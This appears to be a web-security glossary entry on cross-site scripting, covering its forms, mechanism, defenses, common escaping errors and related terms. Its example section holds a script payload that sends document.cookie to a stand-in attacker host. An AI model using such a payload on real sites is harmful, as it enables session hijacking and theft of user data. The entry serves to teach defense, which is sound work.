XSS
XSS (cross-site scripting) is attackers injecting malicious scripts into a page that execute in other users browsers; it comes in stored, reflected, and DOM-based forms.
Purpose
To prevent malicious scripts from executing in a trusted page context, protecting user sessions and data.
Mechanism
The attacker injects <script> into the page (stored via the database, reflected via URL parameters, DOM-based via client-side DOM manipulation). The script runs in the victim browser with their session privileges, stealing cookies, issuing requests, or tampering with the page. Defenses: output escaping, CSP, HttpOnly cookies.
Use cases
- Rendering unescaped user input
- Comment and rich-text injection
- Reflecting URL parameters into pages
- Third-party script injection
Examples
- Input
<script>fetch("evil.com?c="+document.cookie)</script>OutputSteals the user cookiesStored XSS
Common errors
- Escaping only < > while missing quotes in attribute contexts
- Escape per context: HTML/attribute/JS/URL
Related terms
CSRF
CSRF (cross-site request forgery) is a vulnerability where the attacker tricks a logged-in user into unknowingly sending a malicious request to the target site. GLOSSARY
CSP
CSP (Content Security Policy) declares, via an HTTP header, which resource origins a page may load, shrinking the attack surface for XSS and data injection. GLOSSARY
HTML Entities
HTML entities escape characters with special meaning in HTML (<, >, &, ") into &name; or &#NNN; form so they display literally instead of being parsed as markup. GLOSSARY
SQL Injection
SQL injection is attackers splicing malicious SQL fragments into a query string so the database executes unintended commands. GLOSSARY